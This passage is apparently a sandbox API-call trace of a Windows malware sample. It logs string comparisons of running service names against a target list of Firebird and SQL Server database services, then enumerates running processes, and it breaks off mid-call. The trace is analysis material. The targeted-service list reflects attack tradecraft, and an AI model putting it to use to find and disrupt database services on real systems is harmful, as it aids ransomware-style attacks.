lstrlenW (lpString="ProfSvc") returned 7 [0200.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0200.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0200.927] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0200.927] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0200.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0200.927] lstrlenW (lpString="RpcEptMapper") returned 12 [0200.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0200.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0200.927] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0200.927] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0200.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0200.927] lstrlenW (lpString="RpcSs") returned 5 [0200.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0200.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0200.927] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0200.927] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0200.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0200.927] lstrlenW (lpString="SamSs") returned 5 [0200.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0200.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0200.927] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0200.927] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0200.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0200.927] lstrlenW (lpString="Schedule") returned 8 [0200.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0200.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0200.927] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0200.927] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0200.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0200.927] lstrlenW (lpString="SecurityHealthService") returned 21 [0200.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0200.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0200.928] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0200.928] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0200.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0200.928] lstrlenW (lpString="SENS") returned 4 [0200.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0200.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0200.928] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0200.928] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0200.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0200.928] lstrlenW (lpString="ShellHWDetection") returned 16 [0200.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0200.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0200.928] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0200.928] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0200.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0200.928] lstrlenW (lpString="Spooler") returned 7 [0200.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0200.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0200.928] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0200.928] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0200.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0200.928] lstrlenW (lpString="SSDPSRV") returned 7 [0200.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0200.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0200.928] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0200.928] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0200.928] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0200.928] lstrlenW (lpString="StateRepository") returned 15 [0200.928] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0200.928] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0200.928] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0200.928] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0200.929] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0200.929] lstrlenW (lpString="SysMain") returned 7 [0200.929] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0200.929] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0200.929] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0200.929] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0200.929] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ffa40 | out: hHeap=0x790000) returned 1 [0200.929] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d8 [0200.932] Process32FirstW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0200.933] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0200.934] lstrlenW (lpString="System") returned 6 [0200.934] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0200.935] lstrlenW (lpString="smss.exe") returned 8 [0200.935] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0200.936] lstrlenW (lpString="csrss.exe") returned 9 [0200.936] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0200.936] lstrlenW (lpString="wininit.exe") returned 11 [0200.936] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0200.937] lstrlenW (lpString="csrss.exe") returned 9 [0200.937] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0200.938] lstrlenW (lpString="winlogon.exe") returned 12 [0200.938] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0200.939] lstrlenW (lpString="services.exe") returned 12 [0200.939] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0200.939] lstrlenW (lpString="lsass.exe") returned 9 [0200.939] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.940] lstrlenW (lpString="svchost.exe") returned 11 [0200.940] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0200.941] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0200.941] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0200.941] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0200.941] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.942] lstrlenW (lpString="svchost.exe") returned 11 [0200.942] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0200.943] lstrlenW (lpString="dwm.exe") returned 7 [0200.943] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.944] lstrlenW (lpString="svchost.exe") returned 11 [0200.944] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.944] lstrlenW (lpString="svchost.exe") returned 11 [0200.944] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.945] lstrlenW (lpString="svchost.exe") returned 11 [0200.945] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.946] lstrlenW (lpString="svchost.exe") returned 11 [0200.946] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.946] lstrlenW (lpString="svchost.exe") returned 11 [0200.946] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.947] lstrlenW (lpString="svchost.exe") returned 11 [0200.947] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.948] lstrlenW (lpString="svchost.exe") returned 11 [0200.948] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.948] lstrlenW (lpString="svchost.exe") returned 11 [0200.949] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.949] lstrlenW (lpString="svchost.exe") returned 11 [0200.949] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0200.950] lstrlenW (lpString="spoolsv.exe") returned 11 [0200.950] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.951] lstrlenW (lpString="svchost.exe") returned 11 [0200.951] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.951] lstrlenW (lpString="svchost.exe") returned 11 [0200.952] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0200.952] lstrlenW (lpString="audiodg.exe") returned 11 [0200.952] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0200.953] lstrlenW (lpString="sihost.exe") returned 10 [0200.953] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.954] lstrlenW (lpString="svchost.exe") returned 11 [0200.954] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0200.954] lstrlenW (lpString="taskhostw.exe") returned 13 [0200.954] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0200.955] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0200.955] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0200.956] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0200.956] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0200.956] lstrlenW (lpString="explorer.exe") returned 12 [0200.956] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0200.957] lstrlenW (lpString="Memory Compression") returned 18 [0200.957] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0200.958] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0200.958] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0200.959] lstrlenW (lpString="SearchUI.exe") returned 12 [0200.959] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0200.959] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0200.959] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0200.960] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0200.960] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0200.961] lstrlenW (lpString="entering.exe") returned 12 [0200.961] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0200.961] lstrlenW (lpString="literally.exe") returned 13 [0200.961] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0200.962] lstrlenW (lpString="prep.exe") returned 8 [0200.962] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0200.963] lstrlenW (lpString="homeless.exe") returned 12 [0200.963] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0200.964] lstrlenW (lpString="tips.exe") returned 8 [0200.964] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0200.964] lstrlenW (lpString="rhode_cow.exe") returned 13 [0200.965] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0200.966] lstrlenW (lpString="discount.exe") returned 12 [0200.966] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0200.966] lstrlenW (lpString="littleclosest.exe") returned 17 [0200.966] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0200.967] lstrlenW (lpString="compact.exe") returned 11 [0200.967] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0200.968] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0200.968] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0200.969] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0200.969] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0200.969] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0200.969] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0200.970] lstrlenW (lpString="vincentkills.exe") returned 16 [0200.970] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0200.971] lstrlenW (lpString="armstrong.exe") returned 13 [0200.971] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0200.971] lstrlenW (lpString="superb_guilty.exe") returned 17 [0200.972] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0200.972] lstrlenW (lpString="conditional employer.exe") returned 24 [0200.972] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0200.973] lstrlenW (lpString="middle shown.exe") returned 16 [0200.973] Process32NextW (in: hSnapshot=0x2d8, lppe=0x25dfd2c | out: 